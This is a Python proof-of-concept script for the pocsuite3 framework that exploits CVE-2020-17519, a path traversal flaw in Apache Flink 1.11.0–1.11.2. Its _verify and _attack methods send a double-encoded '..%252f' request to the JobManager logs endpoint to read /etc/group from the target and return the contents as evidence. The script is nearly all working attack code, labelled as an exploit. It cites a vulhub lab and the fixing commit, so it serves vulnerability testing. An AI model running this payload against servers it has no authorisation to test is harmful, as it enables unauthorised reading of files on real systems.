flink-CVE-2020-17519_1.11.2_fileread.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE


class TestPOC(POCBase):
    vulID = ''
    version = '1'
    author = 'hancool'
    vulDate = '2021-1-5'
    createDate = '2021-1-12'
    updateDate = '2021-1-12'
    references = [
        'https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519']
    name = 'Apache Flink目录穿越漏洞'
    appPowerLink = 'https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801'
    appName = 'Apache Flink'
    appVersion = '1.11.0-1.11.2'
    vulType = VUL_TYPE.ARBITRARY_FILE_READ
    category = POC_CATEGORY.EXPLOITS
    desc = '''
            Apache Flink 1.11.0-1.11.2中引入的一项更改，允许攻击者通过JobManager进程的REST接口读取本地文件系统上的任何文件，访问仅限于JobManager进程可访问的文件。
    '''
    samples = ['127.0.0.1']

    def _verify(self):
        result = {}
        pr = urlparse(self.url)
        if pr.port:
            ports = [pr.port]
        else:
            ports = [8081]

        for port in ports:
            try:
                url_check = '{}://{}:{}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fgroup'.format(
                    pr.scheme, pr.hostname, port)
                r_test = req.get(url_check, verify=False)
                if r_test.status_code == 200 and re.findall(b'^root:x:0', r_test.content):
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = '{}:{}'.format(
                        pr.hostname, port)
                    result['extra'] = {}
                    result['extra']['evidence'] = r_test.content.decode(
                        'utf-8').strip()

            except:
                #raise
                pass

        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail("not vulnerability")
        return output


register_poc(TestPOC)